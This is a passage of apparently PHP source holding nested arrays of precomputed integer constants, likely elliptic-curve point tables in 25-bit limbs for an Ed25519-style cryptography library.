4543417, 3044240, -15689887, 1762328, 14866737),
                array(-18199695, -15951423, -10473290, 1707278, -17185920,
3916101, -28236412, 3959421, 27914454, 4383652),
            ),
            array(
                array(5153746, 9909285, 1723747, -2777874, 30523605,
5516873, 19480852, 5230134, -23952439, -15175766),
                array(-30269007, -3463509, 7665486, 10083793, 28475525,
1649722, 20654025, 16520125, 30598449, 7715701),
                array(28881845, 14381568, 9657904, 3680757, -20181635,
7843316, -31400660, 1370708, 29794553, -1409300),
            ),
            array(
                array(14499471, -2729599, -33191113, -4254652, 28494862,
14271267, 30290735, 10876454, -33154098, 2381726),
                array(-7195431, -2655363, -14730155, 462251, -27724326,
3941372, -6236617, 3696005, -32300832, 15351955),
                array(27431194, 8222322, 16448760, -3907995, -18707002,
11938355, -32961401, -2970515, 29551813, 10109425),
            ),
        ),
        array(
            array(
                array(-13657040, -13155431, -31283750, 11777098, 21447386,
6519384, -2378284, -1627556, 10092783, -4764171),
                array(27939166, 14210322, 4677035, 16277044, -22964462,
-12398139, -32508754, 12005538, -17810127, 12803510),
                array(17228999, -15661624, -1233527, 300140, -1224870,
-11714777, 30364213, -9038194, 18016357, 4397660),
            ),
            array(
                array(-10958843, -7690207, 4776341, -14954238, 27850028,
-15602212, -26619106, 14544525, -17477504, 982639),
                array(29253598, 15796703, -2863982, -9908884, 10057023,
3163536, 7332899, -4120128, -21047696, 9934963),
                array(5793303, 16271923, -24131614, -10116404, 29188560,
1206517, -14747930, 4559895, -30123922, -10897950),
            ),
            array(
                array(-27643952, -11493006, 16282657, -11036493, 28414021,
-15012264, 24191034, 4541697, -13338309, 5500568),
                array(12650548, -1497113, 9052871, 11355358, -17680037,
-8400164, -17430592, 12264343, 10874051, 13524335),
                array(25556948, -3045990, 714651, 2510400, 23394682,
-10415330, 33119038, 5080568, -22528059, 5376628),
            ),
            array(
                array(-26088264, -4011052, -17013699, -3537628, -6726793,
1920897, -22321305, -9447443, 4535768, 1569007),
                array(-2255422, 14606630, -21692440, -8039818, 28430649,
8775819, -30494562, 3044290, 31848280, 12543772),
                array(-22028579, 2943893, -31857513, 6777306, 13784462,
-4292203, -27377195, -2062731, 7718482, 14474653),
            ),
            array(
                array(2385315, 2454213, -22631320, 46603, -4437935,
-15680415, 656965, -7236665, 24316168, -5253567),
                array(13741529, 10911568, -33233417, -8603737, -20177830,
-1033297, 33040651, -13424532, -20729456, 8321686),
                array(21060490, -2212744, 15712757, -4336099, 1639040,
10656336, 23845965, -11874838, -9984458, 608372),
            ),
            array(
                array(-13672732, -15087586, -10889693, -7557059, -6036909,
11305547, 1123968, -6780577, 27229399, 23887),
                array(-23244140, -294205, -11744728, 14712571, -29465699,
-2029617, 12797024, -6440308, -1633405, 16678954),
                array(-29500620, 4770662, -16054387, 14001338, 7830047,
9564805, -1508144, -4795045, -17169265, 4904953),
            ),
            array(
                array(24059557, 14617003, 19037157, -15039908, 19766093,
-14906429, 5169211, 16191880, 2128236, -4326833),
                array(-16981152, 4124966, -8540610, -10653797, 30336522,
-14105247, -29806336, 916033, -6882542, -2986532),
                array(-22630907, 12419372, -7134229, -7473371, -16478904,
16739175, 285431, 2763829, 15736322, 4143876),
            ),
            array(
                array(2379352, 11839345, -4110402, -5988665, 11274298,
794957, 212801, -14594663, 23527084, -16458268),
                array(33431127, -11130478, -17838966, -15626900, 8909499,
8376530, -32625340, 4087881, -15188911, -14416214),
                array(1767683, 7197987, -13205226, -2022635, -13091350,
448826, 5799055, 4357868, -4774191, -16323038),
            ),
        ),
        array(
            array(
                array(6721966, 13833823, -23523388, -1551314, 26354293,
-11863321, 23365147, -3949732, 7390890, 2759800),
                array(4409041, 2052381, 23373853, 10530217, 7676779,
-12885954, 21302353, -4264057, 1244380, -12919645),
                array(-4421239, 7169619, 4982368, -2957590, 30256825,
-2777540, 14086413, 9208236, 15886429, 16489664),
            ),
            array(
                array(1996075, 10375649, 14346367, 13311202, -6874135,
-16438411, -13693198, 398369, -30606455, -712933),
                array(-25307465, 9795880, -2777414, 14878809, -33531835,
14780363, 13348553, 12076947, -30836462, 5113182),
                array(-17770784, 11797796, 31950843, 13929123, -25888302,
12288344, -30341101, -7336386, 13847711, 5387222),
            ),
            array(
                array(-18582163, -3416217, 17824843, -2340966, 22744343,
-10442611, 8763061, 3617786, -19600662, 10370991),
                array(20246567, -14369378, 22358229, -543712, 18507283,
-10413996, 14554437, -8746092, 32232924, 16763880),
                array(9648505, 10094563, 26416693, 14745928, -30374318,
-6472621, 11094161, 15689506, 3140038, -16510092),
            ),
            array(
                array(-16160072, 5472695, 31895588, 4744994, 8823515,
10365685, -27224800, 9448613, -28774454, 366295),
                array(19153450, 11523972, -11096490, -6503142, -24647631,
5420647, 28344573, 8041113, 719605, 11671788),
                array(8678025, 2694440, -6808014, 2517372, 4964326,
11152271, -15432916, -15266516, 27000813, -10195553),
            ),
            array(
                array(-15157904, 7134312, 8639287, -2814877, -7235688,
10421742, 564065, 5336097, 6750977, -14521026),
                array(11836410, -3979488, 26297894, 16080799, 23455045,
15735944, 1695823, -8819122, 8169720, 16220347),
                array(-18115838, 8653647, 17578566, -6092619, -8025777,
-16012763, -11144307, -2627664, -5990708, -14166033),
            ),
            array(
                array(-23308498, -10968312, 15213228, -10081214, -30853605,
-11050004, 27884329, 2847284, 2655861, 1738395),
                array(-27537433, -14253021, -25336301, -8002780, -9370762,
8129821, 21651608, -3239336, -19087449, -11005278),
                array(1533110, 3437855, 23735889, 459276, 29970501,
11335377, 26030092, 5821408, 10478196, 8544890),
            ),
            array(
                array(32173121, -16129311, 24896207, 3921497, 22579056,
-3410854, 19270449, 12217473, 17789017, -3395995),
                array(-30552961, -2228401, -15578829, -10147201, 13243889,
517024, 15479401, -3853233, 30460520, 1052596),
                array(-11614875, 13323618, 32618793, 8175907, -15230173,
12596687, 27491595, -4612359, 3179268, -9478891),
            ),
            array(
                array(31947069, -14366651, -4640583, -15339921, -15125977,
-6039709, -14756777, -16411740, 19072640, -9511060),
                array(11685058, 11822410, 3158003, -13952594, 33402194,
-4165066, 5977896, -5215017, 473099, 5040608),
                array(-20290863, 8198642, -27410132, 11602123, 1290375,
-2799760, 28326862, 1721092, -19558642, -3131606),
            ),
        ),
        array(
            array(
                array(7881532, 10687937, 7578723, 7738378, -18951012,
-2553952, 21820786, 8076149, -27868496, 11538389),
                array(-19935666, 3899861, 18283497, -6801568, -15728660,
-11249211, 8754525, 7446702, -5676054, 5797016),
                array(-11295600, -3793569, -15782110, -7964573, 12708869,
-8456199, 2014099, -9050574, -2369172, -5877341),
            ),
            array(
                array(-22472376, -11568741, -27682020, 1146375, 18956691,
16640559, 1192730, -3714199, 15123619, 10811505),
                array(14352098, -3419715, -18942044, 10822655, 32750596,
4699007, -70363, 15776356, -28886779, -11974553),
                array(-28241164, -8072475, -4978962, -5315317, 29416931,
1847569, -20654173, -16484855, 4714547, -9600655),
            ),
            array(
                array(15200332, 8368572, 19679101, 15970074, -31872674,
1959451, 24611599, -4543832, -11745876, 12340220),
                array(12876937, -10480056, 33134381, 6590940, -6307776,
14872440, 9613953, 8241152, 15370987, 9608631),
                array(-4143277, -12014408, 8446281, -391603, 4407738,
13629032, -7724868, 15866074, -28210621, -8814099),
            ),
            array(
                array(26660628, -15677655, 8393734, 358047, -7401291,
992988, -23904233, 858697, 20571223, 8420556),
                array(14620715, 13067227, -15447274, 8264467, 14106269,
15080814, 33531827, 12516406, -21574435, -12476749),
                array(236881, 10476226, 57258, -14677024, 6472998, 2466984,
17258519, 7256740, 8791136, 15069930),
            ),
            array(
                array(1276410, -9371918, 22949635, -16322807, -23493039,
-5702186, 14711875, 4874229, -30663140, -2331391),
                array(5855666, 4990204, -13711848, 7294284, -7804282,
1924647, -1423175, -7912378, -33069337, 9234253),
                array(20590503, -9018988, 31529744, -7352666, -2706834,
10650548, 31559055, -11609587, 18979186, 13396066),
            ),
            array(
                array(24474287, 4968103, 22267082, 4407354, 24063882,
-8325180, -18816887, 13594782, 33514650, 7021958),
                array(-11566906, -6565505, -21365085, 15928892, -26158305,
4315421, -25948728, -3916677, -21480480, 12868082),
                array(-28635013, 13504661, 19988037, -2132761, 21078225,
6443208, -21446107, 2244500, -12455797, -8089383),
            ),
            array(
                array(-30595528, 13793479, -5852820, 319136, -25723172,
-6263899, 33086546, 8957937, -15233648, 5540521),
                array(-11630176, -11503902, -8119500, -7643073, 2620056,
1022908, -23710744, -1568984, -16128528, -14962807),
                array(23152971, 775386, 27395463, 14006635, -9701118,
4649512, 1689819, 892185, -11513277, -15205948),
            ),
            array(
                array(9770129, 9586738, 26496094, 4324120, 1556511,
-3550024, 27453819, 4763127, -19179614, 5867134),
                array(-32765025, 1927590, 31726409, -4753295, 23962434,
-16019500, 27846559, 5931263, -29749703, -16108455),
                array(27461885, -2977536, 22380810, 1815854, -23033753,
-3031938, 7283490, -15148073, -19526700, 7734629),
            ),
        ),
        array(
            array(
                array(-8010264, -9590817, -11120403, 6196038, 29344158,
-13430885, 7585295, -3176626, 18549497, 15302069),
                array(-32658337, -6171222, -7672793, -11051681, 6258878,
13504381, 10458790, -6418461, -8872242, 8424746),
                array(24687205, 8613276, -30667046, -3233545, 1863892,
-1830544, 19206234, 7134917, -11284482, -828919),
            ),
            array(
                array(11334899, -9218022, 8025293, 12707519, 17523892,
-10476071, 10243738, -14685461, -5066034, 16498837),
                array(8911542, 6887158, -9584260, -6958590, 11145641,
-9543680, 17303925, -14124238, 6536641, 10543906),
                array(-28946384, 15479763, -17466835, 568876, -1497683,
11223454, -2669190, -16625574, -27235709, 8876771),
            ),
            array(
                array(-25742899, -12566864, -15649966, -846607, -33026686,
-796288, -33481822, 15824474, -604426, -9039817),
                array(10330056, 70051, 7957388, -9002667, 9764902,
15609756, 27698697, -4890037, 1657394, 3084098),
                array(10477963, -7470260, 12119566, -13250805, 29016247,
-5365589, 31280319, 14396151, -30233575, 15272409),
            ),
            array(
                array(-12288309, 3169463, 28813183, 16658753, 25116432,
-5630466, -25173957, -12636138, -25014757, 1950504),
                array(-26180358, 9489187, 11053416, -14746161, -31053720,
5825630, -8384306, -8767532, 15341279, 8373727),
                array(28685821, 7759505, -14378516, -12002860, -31971820,
4079242, 298136, -10232602, -2878207, 15190420),
            ),
            array(
                array(-32932876, 13806336, -14337485, -15794431, -24004620,
10940928, 8669718, 2742393, -26033313, -6875003),
                array(-1580388, -11729417, -25979658, -11445023, -17411874,
-10912854, 9291594, -16247779, -12154742, 6048605),
                array(-30305315, 14843444, 1539301, 11864366, 20201677,
1900163, 13934231, 5128323, 11213262, 9168384),
            ),
            array(
                array(-26280513, 11007847, 19408960, -940758, -18592965,
-4328580, -5088060, -11105150, 20470157, -16398701),
                array(-23136053, 9282192, 14855179, -15390078, -7362815,
-14408560, -22783952, 14461608, 14042978, 5230683),
                array(29969567, -2741594, -16711867, -8552442, 9175486,
-2468974, 21556951, 3506042, -5933891, -12449708),
            ),
            array(
                array(-3144746, 8744661, 19704003, 4581278, -20430686,
6830683, -21284170, 8971513, -28539189, 15326563),
                array(-19464629, 10110288, -17262528, -3503892, -23500387,
1355669, -15523050, 15300988, -20514118, 9168260),
                array(-5353335, 4488613, -23803248, 16314347, 7780487,
-15638939, -28948358, 9601605, 33087103, -9011387),
            ),
            array(
                array(-19443170, -15512900, -20797467, -12445323,
-29824447, 10229461, -27444329, -15000531, -5996870, 15664672),
                array(23294591, -16632613, -22650781, -8470978, 27844204,
11461195, 13099750, -2460356, 18151676, 13417686),
                array(-24722913, -4176517, -31150679, 5988919, -26858785,
6685065, 1661597, -12551441, 15271676, -15452665),
            ),
        ),
        array(
            array(
                array(11433042, -13228665, 8239631, -5279517, -1985436,
-725718, -18698764, 2167544, -6921301, -13440182),
                array(-31436171, 15575146, 30436815, 12192228, -22463353,
9395379, -9917708, -8638997, 12215110, 12028277),
                array(14098400, 6555944, 23007258, 5757252, -15427832,
-12950502, 30123440, 4617780, -16900089, -655628),
            ),
            array(
                array(-4026201, -15240835, 11893168, 13718664, -14809462,
1847385, -15819999, 10154009, 23973261, -12684474),
                array(-26531820, -3695990, -1908898, 2534301, -31870557,
-16550355, 18341390, -11419951, 32013174, -10103539),
                array(-25479301, 10876443, -11771086, -14625140, -12369567,
1838104, 21911214, 6354752, 4425632, -837822),
            ),
            array(
                array(-10433389, -14612966, 22229858, -3091047, -13191166,
776729, -17415375, -12020462, 4725005, 14044970),
                array(19268650, -7304421, 1555349, 8692754, -21474059,
-9910664, 6347390, -1411784, -19522291, -16109756),
                array(-24864089, 12986008, -10898878, -5558584, -11312371,
-148526, 19541418, 8180106, 9282262, 10282508),
            ),
            array(
                array(-26205082, 4428547, -8661196, -13194263, 4098402,
-14165257, 15522535, 8372215, 5542595, -10702683),
                array(-10562541, 14895633, 26814552, -16673850, -17480754,
-2489360, -2781891, 6993761, -18093885, 10114655),
                array(-20107055, -929418, 31422704, 10427861, -7110749,
6150669, -29091755, -11529146, 25953725, -106158),
            ),
            array(
                array(-4234397, -8039292, -9119125, 3046000, 2101609,
-12607294, 19390020, 6094296, -3315279, 12831125),
                array(-15998678, 7578152, 5310217, 14408357, -33548620,
-224739, 31575954, 6326196, 7381791, -2421839),
                array(-20902779, 3296811, 24736065, -16328389, 18374254,
7318640, 6295303, 8082724, -15362489, 12339664),
            ),
            array(
                array(27724736, 2291157, 6088201, -14184798, 1792727,
5857634, 13848414, 15768922, 25091167, 14856294),
                array(-18866652, 8331043, 24373479, 8541013, -701998,
-9269457, 12927300, -12695493, -22182473, -9012899),
                array(-11423429, -5421590, 11632845, 3405020, 30536730,
-11674039, -27260765, 13866390, 30146206, 9142070),
            ),
            array(
                array(3924129, -15307516, -13817122, -10054960, 12291820,
-668366, -27702774, 9326384, -8237858, 4171294),
                array(-15921940, 16037937, 6713787, 16606682, -21612135,
2790944, 26396185, 3731949, 345228, -5462949),
                array(-21327538, 13448259, 25284571, 1143661, 20614966,
-8849387, 2031539, -12391231, -16253183, -13582083),
            ),
            array(
                array(31016211, -16722429, 26371392, -14451233, -5027349,
14854137, 17477601, 3842657, 28012650, -16405420),
                array(-5075835, 9368966, -8562079, -4600902, -15249953,
6970560, -9189873, 16292057, -8867157, 3507940),
                array(29439664, 3537914, 23333589, 6997794, -17555561,
-11018068, -15209202, -15051267, -9164929, 6580396),
            ),
        ),
        array(
            array(
                array(-12185861, -7679788, 16438269, 10826160, -8696817,
-6235611, 17860444, -9273846, -2095802, 9304567),
                array(20714564, -4336911, 29088195, 7406487, 11426967,
-5095705, 14792667, -14608617, 5289421, -477127),
                array(-16665533, -10650790, -6160345, -13305760, 9192020,
-1802462, 17271490, 12349094, 26939669, -3752294),
            ),
            array(
                array(-12889898, 9373458, 31595848, 16374215, 21471720,
13221525, -27283495, -12348559, -3698806, 117887),
                array(22263325, -6560050, 3984570, -11174646, -15114008,
-566785, 28311253, 5358056, -23319780, 541964),
                array(16259219, 3261970, 2309254, -15534474, -16885711,
-4581916, 24134070, -16705829, -13337066, -13552195),
            ),
            array(
                array(9378160, -13140186, -22845982, -12745264, 28198281,
-7244098, -2399684, -717351, 690426, 14876244),
                array(24977353, -314384, -8223969, -13465086, 28432343,
-1176353, -13068804, -12297348, -22380984, 6618999),
                array(-1538174, 11685646, 12944378, 13682314, -24389511,
-14413193, 8044829, -13817328, 32239829, -5652762),
            ),
            array(
                array(-18603066, 4762990, -926250, 8885304, -28412480,
-3187315, 9781647, -10350059, 32779359, 5095274),
                array(-33008130, -5214506, -32264887, -3685216, 9460461,
-9327423, -24601656, 14506724, 21639561, -2630236),
                array(-16400943, -13112215, 25239338, 15531969, 3987758,
-4499318, -1289502, -6863535, 17874574, 558605),
            ),
            array(
                array(-13600129, 10240081, 9171883, 16131053, -20869254,
9599700, 33499487, 5080151, 2085892, 5119761),
                array(-22205145, -2519528, -16381601, 414691, -25019550,
2170430, 30634760, -8363614, -31999993, -5759884),
                array(-6845704, 15791202, 8550074, -1312654, 29928809,
-12092256, 27534430, -7192145, -22351378, 12961482),
            ),
            array(
                array(-24492060, -9570771, 10368194, 11582341, -23397293,
-2245287, 16533930, 8206996, -30194652, -5159638),
                array(-11121496, -3382234, 2307366, 6362031, -135455,
8868177, -16835630, 7031275, 7589640, 8945490),
                array(-32152748, 8917967, 6661220, -11677616, -1192060,
-15793393, 7251489, -11182180, 24099109, -14456170),
            ),
            array(
                array(5019558, -7907470, 4244127, -14714356, -26933272,
6453165, -19118182, -13289025, -6231896, -10280736),
                array(10853594, 10721687, 26480089, 5861829, -22995819,
1972175, -1866647, -10557898, -3363451, -6441124),
                array(-17002408, 5906790, 221599, -6563147, 7828208,
-13248918, 24362661, -2008168, -13866408, 7421392),
            ),
            array(
                array(8139927, -6546497, 32257646, -5890546, 30375719,
1886181, -21175108, 15441252, 28826358, -4123029),
                array(6267086, 9695052, 7709135, -16603597, -32869068,
-1886135, 14795160, -7840124, 13746021, -1742048),
                array(28584902, 7787108, -6732942, -15050729, 22846041,
-7571236, -3181936, -363524, 4771362, -8419958),
            ),
        ),
        array(
            array(
                array(24949256, 6376279, -27466481, -8174608, -18646154,
-9930606, 33543569, -12141695, 3569627, 11342593),
                array(26514989, 4740088, 27912651, 3697550, 19331575,
-11472339, 6809886, 4608608, 7325975, -14801071),
                array(-11618399, -14554430, -24321212, 7655128, -1369274,
5214312, -27400540, 10258390, -17646694, -8186692),
            ),
            array(
                array(11431204, 15823007, 26570245, 14329124, 18029990,
4796082, -31446179, 15580664, 9280358, -3973687),
                array(-160783, -10326257, -22855316, -4304997, -20861367,
-13621002, -32810901, -11181622, -15545091, 4387441),
                array(-20799378, 12194512, 3937617, -5805892, -27154820,
9340370, -24513992, 8548137, 20617071, -7482001),
            ),
            array(
                array(-938825, -3930586, -8714311, 16124718, 24603125,
-6225393, -13775352, -11875822, 24345683, 10325460),
                array(-19855277, -1568885, -22202708, 8714034, 14007766,
6928528, 16318175, -1010689, 4766743, 3552007),
                array(-21751364, -16730916, 1351763, -803421, -4009670,
3950935, 3217514, 14481909, 10988822, -3994762),
            ),
            array(
                array(15564307, -14311570, 3101243, 5684148, 30446780,
-8051356, 12677127, -6505343, -8295852, 13296005),
                array(-9442290, 6624296, -30298964, -11913677, -4670981,
-2057379, 31521204, 9614054, -30000824, 12074674),
                array(4771191, -135239, 14290749, -13089852, 27992298,
14998318, -1413936, -1556716, 29832613, -16391035),
            ),
            array(
                array(7064884, -7541174, -19161962, -5067537, -18891269,
-2912736, 25825242, 5293297, -27122660, 13101590),
                array(-2298563, 2439670, -7466610, 1719965, -27267541,
-16328445, 32512469, -5317593, -30356070, -4190957),
                array(-30006540, 10162316, -33180176, 3981723, -16482138,
-13070044, 14413974, 9515896, 19568978, 9628812),
            ),
            array(
                array(33053803, 199357, 15894591, 1583059, 27380243,
-4580435, -17838894, -6106839, -6291786, 3437740),
                array(-18978877, 3884493, 19469877, 12726490, 15913552,
13614290, -22961733, 70104, 7463304, 4176122),
                array(-27124001, 10659917, 11482427, -16070381, 12771467,
-6635117, -32719404, -5322751, 24216882, 5944158),
            ),
            array(
                array(8894125, 7450974, -2664149, -9765752, -28080517,
-12389115, 19345746, 14680796, 11632993, 5847885),
                array(26942781, -2315317, 9129564, -4906607, 26024105,
11769399, -11518837, 6367194, -9727230, 4782140),
                array(19916461, -4828410, -22910704, -11414391, 25606324,
-5972441, 33253853, 8220911, 6358847, -1873857),
            ),
            array(
                array(801428, -2081702, 16569428, 11065167, 29875704,
96627, 7908388, -4480480, -13538503, 1387155),
                array(19646058, 5720633, -11416706, 12814209, 11607948,
12749789, 14147075, 15156355, -21866831, 11835260),
                array(19299512, 1155910, 28703737, 14890794, 2925026,
7269399, 26121523, 15467869, -26560550, 5052483),
            ),
        ),
        array(
            array(
                array(-3017432, 10058206, 1980837, 3964243, 22160966,
12322533, -6431123, -12618185, 12228557, -7003677),
                array(32944382, 14922211, -22844894, 5188528, 21913450,
-8719943, 4001465, 13238564, -6114803, 8653815),
                array(22865569, -4652735, 27603668, -12545395, 14348958,
8234005, 24808405, 5719875, 28483275, 2841751),
            ),
            array(
                array(-16420968, -1113305, -327719, -12107856, 21886282,
-15552774, -1887966, -315658, 19932058, -12739203),
                array(-11656086, 10087521, -8864888, -5536143, -19278573,
-3055912, 3999228, 13239134, -4777469, -13910208),
                array(1382174, -11694719, 17266790, 9194690, -13324356,
9720081, 20403944, 11284705, -14013818, 3093230),
            ),
            array(
                array(16650921, -11037932, -1064178, 1570629, -8329746,
7352753, -302424, 16271225, -24049421, -6691850),
                array(-21911077, -5927941, -4611316, -5560156, -31744103,
-10785293, 24123614, 15193618, -21652117, -16739389),
                array(-9935934, -4289447, -25279823, 4372842, 2087473,
10399484, 31870908, 14690798, 17361620, 11864968),
            ),
            array(
                array(-11307610, 6210372, 13206574, 5806320, -29017692,
-13967200, -12331205, -7486601, -25578460, -16240689),
                array(14668462, -12270235, 26039039, 15305210, 25515617,
4542480, 10453892, 6577524, 9145645, -6443880),
                array(5974874, 3053895, -9433049, -10385191, -31865124,
3225009, -7972642, 3936128, -5652273, -3050304),
            ),
            array(
                array(30625386, -4729400, -25555961, -12792866, -20484575,
7695099, 17097188, -16303496, -27999779, 1803632),
                array(-3553091, 9865099, -5228566, 4272701, -5673832,
-16689700, 14911344, 12196514, -21405489, 7047412),
                array(20093277, 9920966, -11138194, -5343857, 13161587,
12044805, -32856851, 4124601, -32343828, -10257566),
            ),
            array(
                array(-20788824, 14084654, -13531713, 7842147, 19119038,
-13822605, 4752377, -8714640, -21679658, 2288038),
                array(-26819236, -3283715, 29965059, 3039786, -14473765,
2540457, 29457502, 14625692, -24819617, 12570232),
                array(-1063558, -11551823, 16920318, 12494842, 1278292,
-5869109, -21159943, -3498680, -11974704, 4724943),
            ),
            array(
                array(17960970, -11775534, -4140968, -9702530, -8876562,
-1410617, -12907383, -8659932, -29576300, 1903856),
                array(23134274, -14279132, -10681997, -1611936, 20684485,
15770816, -12989750, 3190296, 26955097, 14109738),
                array(15308788, 5320727, -30113809, -14318877, 22902008,
7767164, 29425325, -11277562, 31960942, 11934971),
            ),
            array(
                array(-27395711, 8435796, 4109644, 12222639, -24627868,
14818669, 20638173, 4875028, 10491392, 1379718),
                array(-13159415, 9197841, 3875503, -8936108, -1383712,
-5879801, 33518459, 16176658, 21432314, 12180697),
                array(-11787308, 11500838, 13787581, -13832590, -22430679,
10140205, 1465425, 12689540, -10301319, -13872883),
            ),
        ),
        array(
            array(
                array(5414091, -15386041, -21007664, 9643570, 12834970,
1186149, -2622916, -1342231, 26128231, 6032912),
                array(-26337395, -13766162, 32496025, -13653919, 17847801,
-12669156, 3604025, 8316894, -25875034, -10437358),
                array(3296484, 6223048, 24680646, -12246460, -23052020,
5903205, -8862297, -4639164, 12376617, 3188849),
            ),
            array(
                array(29190488, -14659046, 27549113, -1183516, 3520066,
-10697301, 32049515, -7309113, -16109234, -9852307),
                array(-14744486, -9309156, 735818, -598978, -20407687,
-5057904, 25246078, -15795669, 18640741, -960977),
                array(-6928835, -16430795, 10361374, 5642961, 4910474,
12345252, -31638386, -494430, 10530747, 1053335),
            ),
            array(
                array(-29265967, -14186805, -13538216, -12117373,
-19457059, -10655384, -31462369, -2948985, 24018831, 15026644),
                array(-22592535, -3145277, -2289276, 5953843, -13440189,
9425631, 25310643, 13003497, -2314791, -15145616),
                array(-27419985, -603321, -8043984, -1669117, -26092265,
13987819, -27297622, 187899, -23166419, -2531735),
            ),
            array(
                array(-21744398, -13810475, 1844840, 5021428, -10434399,
-15911473, 9716667, 16266922, -5070217, 726099),
                array(29370922, -6053998, 7334071, -15342259, 9385287,
2247707, -13661962, -4839461, 30007388, -15823341),
                array(-936379, 16086691, 23751945, -543318, -1167538,
-5189036, 9137109, 730663, 9835848, 4555336),
            ),
            array(
                array(-23376435, 1410446, -22253753, -12899614, 30867635,
15826977, 17693930, 544696, -11985298, 12422646),
                array(31117226, -12215734, -13502838, 6561947, -9876867,
-12757670, -5118685, -4096706, 29120153, 13924425),
                array(-17400879, -14233209, 19675799, -2734756, -11006962,
-5858820, -9383939, -11317700, 7240931, -237388),
            ),
            array(
                array(-31361739, -11346780, -15007447, -5856218, -22453340,
-12152771, 1222336, 4389483, 3293637, -15551743),
                array(-16684801, -14444245, 11038544, 11054958, -13801175,
-3338533, -24319580, 7733547, 12796905, -6335822),
                array(-8759414, -10817836, -25418864, 10783769, -30615557,
-9746811, -28253339, 3647836, 3222231, -11160462),
            ),
            array(
                array(18606113, 1693100, -25448386, -15170272, 4112353,
10045021, 23603893, -2048234, -7550776, 2484985),
                array(9255317, -3131197, -12156162, -1004256, 13098013,
-9214866, 16377220, -2102812, -19802075, -3034702),
                array(-22729289, 7496160, -5742199, 11329249, 19991973,
-3347502, -31718148, 9936966, -30097688, -10618797),
            ),
            array(
                array(21878590, -5001297, 4338336, 13643897, -3036865,
13160960, 19708896, 5415497, -7360503, -4109293),
                array(27736861, 10103576, 12500508, 8502413, -3413016,
-9633558, 10436918, -1550276, -23659143, -8132100),
                array(19492550, -12104365, -29681976, -852630, -3208171,
12403437, 30066266, 8367329, 13243957, 8709688),
            ),
        ),
        array(
            array(
                array(12015105, 2801261, 28198131, 10151021, 24818120,
-4743133, -11194191, -5645734, 5150968, 7274186),
                array(2831366, -12492146, 1478975, 6122054, 23825128,
-12733586, 31097299, 6083058, 31021603, -9793610),
                array(-2529932, -2229646, 445613, 10720828, -13849527,
-11505937, -23507731, 16354465, 15067285, -14147707),
            ),
            array(
                array(7840942, 14037873, -33364863, 15934016, -728213,
-3642706, 21403988, 1057586, -19379462, -12403220),
                array(915865, -16469274, 15608285, -8789130, -24357026,
6060030, -17371319, 8410997, -7220461, 16527025),
                array(32922597, -556987, 20336074, -16184568, 10903705,
-5384487, 16957574, 52992, 23834301, 6588044),
            ),
            array(
                array(32752030, 11232950, 3381995, -8714866, 22652988,
-10744103, 17159699, 16689107, -20314580, -1305992),
                array(-4689649, 9166776, -25710296, -10847306, 11576752,
12733943, 7924251, -2752281, 1976123, -7249027),
                array(21251222, 16309901, -2983015, -6783122, 30810597,
12967303, 156041, -3371252, 12331345, -8237197),
            ),
            array(
                array(8651614, -4477032, -16085636, -4996994, 13002507,
2950805, 29054427, -5106970, 10008136, -4667901),
                array(31486080, 15114593, -14261250, 12951354, 14369431,
-7387845, 16347321, -13662089, 8684155, -10532952),
                array(19443825, 11385320, 24468943, -9659068, -23919258,
2187569, -26263207, -6086921, 31316348, 14219878),
            ),
            array(
                array(-28594490, 1193785, 32245219, 11392485, 31092169,
15722801, 27146014, 6992409, 29126555, 9207390),
                array(32382935, 1110093, 18477781, 11028262, -27411763,
-7548111, -4980517, 10843782, -7957600, -14435730),
                array(2814918, 7836403, 27519878, -7868156, -20894015,
-11553689, -21494559, 8550130, 28346258, 1994730),
            ),
            array(
                array(-19578299, 8085545, -14000519, -3948622, 2785838,
-16231307, -19516951, 7174894, 22628102, 8115180),
                array(-30405132, 955511, -11133838, -15078069, -32447087,
-13278079, -25651578, 3317160, -9943017, 930272),
                array(-15303681, -6833769, 28856490, 1357446, 23421993,
1057177, 24091212, -1388970, -22765376, -10650715),
            ),
            array(
                array(-22751231, -5303997, -12907607, -12768866, -15811511,
-7797053, -14839018, -16554220, -1867018, 8398970),
                array(-31969310, 2106403, -4736360, 1362501, 12813763,
16200670, 22981545, -6291273, 18009408, -15772772),
                array(-17220923, -9545221, -27784654, 14166835, 29815394,
7444469, 29551787, -3727419, 19288549, 1325865),
            ),
            array(
                array(15100157, -15835752, -23923978, -1005098, -26450192,
15509408, 12376730, -3479146, 33166107, -8042750),
                array(20909231, 13023121, -9209752, 16251778, -5778415,
-8094914, 12412151, 10018715, 2213263, -13878373),
                array(32529814, -11074689, 30361439, -16689753, -9135940,
1513226, 22922121, 6382134, -5766928, 8371348),
            ),
        ),
        array(
            array(
                array(9923462, 11271500, 12616794, 3544722, -29998368,
-1721626, 12891687, -8193132, -26442943, 10486144),
                array(-22597207, -7012665, 8587003, -8257861, 4084309,
-12970062, 361726, 2610596, -23921530, -11455195),
                array(5408411, -1136691, -4969122, 10561668, 24145918,
14240566, 31319731, -4235541, 19985175, -3436086),
            ),
            array(
                array(-13994457, 16616821, 14549246, 3341099, 32155958,
13648976, -17577068, 8849297, 65030, 8370684),
                array(-8320926, -12049626, 31204563, 5839400, -20627288,
-1057277, -19442942, 6922164, 12743482, -9800518),
                array(-2361371, 12678785, 28815050, 4759974, -23893047,
4884717, 23783145, 11038569, 18800704, 255233),
            ),
            array(
                array(-5269658, -1773886, 13957886, 7990715, 23132995,
728773, 13393847, 9066957, 19258688, -14753793),
                array(-2936654, -10827535, -10432089, 14516793, -3640786,
4372541, -31934921, 2209390, -1524053, 2055794),
                array(580882, 16705327, 5468415, -2683018, -30926419,
-14696000, -7203346, -8994389, -30021019, 7394435),
            ),
            array(
                array(23838809, 1822728, -15738443, 15242727, 8318092,
-3733104, -21672180, -3492205, -4821741, 14799921),
                array(13345610, 9759151, 3371034, -16137791, 16353039,
8577942, 31129804, 13496856, -9056018, 7402518),
                array(2286874, -4435931, -20042458, -2008336, -13696227,
5038122, 11006906, -15760352, 8205061, 1607563),
            ),
            array(
                array(14414086, -8002132, 3331830, -3208217, 22249151,
-5594188, 18364661, -2906958, 30019587, -9029278),
                array(-27688051, 1585953, -10775053, 931069, -29120221,
-11002319, -14410829, 12029093, 9944378, 8024),
                array(4368715, -3709630, 29874200, -15022983, -20230386,
-11410704, -16114594, -999085, -8142388, 5640030),
            ),
            array(
                array(10299610, 13746483, 11661824, 16234854, 7630238,
5998374, 9809887, -16694564, 15219798, -14327783),
                array(27425505, -5719081, 3055006, 10660664, 23458024,
595578, -15398605, -1173195, -18342183, 9742717),
